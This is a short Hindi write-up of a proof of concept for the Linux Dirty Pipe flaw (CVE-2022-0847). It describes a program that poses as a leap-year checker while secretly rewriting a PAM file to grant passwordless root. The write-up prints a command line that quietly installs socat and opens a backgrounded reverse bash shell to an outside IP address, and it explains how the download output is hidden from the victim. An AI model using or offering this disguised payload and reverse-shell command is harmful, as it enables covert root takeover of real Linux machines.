
CVE-2022-0847, "Dirty Pipe Exploit" का उपयोग करके, किसी दूसरी मशीन पर मनमाना कोड निष्पादन के लिए रिवर्स बैश शेल खोलना।
यह एक POC है जो दिखाता है कि CVE-2022-0847, "Dirty Pipe Exploit" का उपयोग करके किसी विदेशी मशीन पर मनमाना कोड निष्पादन के लिए रिवर्स बैश शेल कैसे प्राप्त किया जाए। यह भेद्यता केवल Linux कर्नेल संस्करण 5.8 या उससे नए को प्रभावित करती है, लेकिन इसे संस्करण 5.16.11, 5.15.25, 5.10.102 और उससे ऊपर में पैच किया गया था। अपने कर्नेल को अपडेट करें :)
यह exploit सुरक्षा शोधकर्ता Max Kellermann द्वारा पाया गया था। मैं इस exploit के विवरण में नहीं जाऊँगा क्योंकि वह अपने लेख में मुझसे कहीं बेहतर करता है; https://dirtypipe.cm4all.com/
यह proof of concept स्पष्ट रूप से एक साधारण लीप वर्ष प्रोग्राम है जो आपको बताएगा कि दिया गया वर्ष लीप वर्ष है या नहीं।
पृष्ठभूमि में, मैं /etc/pam.d/s में एक पंक्ति बदलता हूँ।
मैं auth sufficient pam_rootok.so पंक्ति को auth sufficient pam_permit.so में बदलता हूँ। यह परिवर्तन हमें पासवर्ड दर्ज किए बिना सुपरयूज़र के रूप में कमांड चलाने की अनुमति देता है।
इसके बाद, हम su के रूप में कमांड निष्पादित करने के लिए C के system() फ़ंक्शन का उपयोग कर सकते हैं।
मैं चलाता हूँ
su -c \"apt-get -y install socat\" > /dev/null; socat TCP4:172.23.46.133:4444 EXEC:/bin/bash & exit
यह पंक्ति सिस्टम पर socat स्थापित करती है और आउटपुट को नल फ़ाइल में भेजती है ताकि उपयोगकर्ता डाउनलोड का आउटपुट न देख सके। इसके बाद, मैं एक socat कमांड निष्पादित करता हूँ जो निर्दिष्ट ip और पोर्ट के साथ एक विदेशी मशीन से कनेक्ट होती है।
& इस प्रक्रिया को पृष्ठभूमि में डाल देता है ताकि उपयोगकर्ता द्वारा टर्मिनल बंद करने के बाद भी कनेक्शन बना रहे।
कमजोर मशीन पर प्रोग्राम निष्पादित करना:

कमजोर मशीन से कनेक्ट होना:
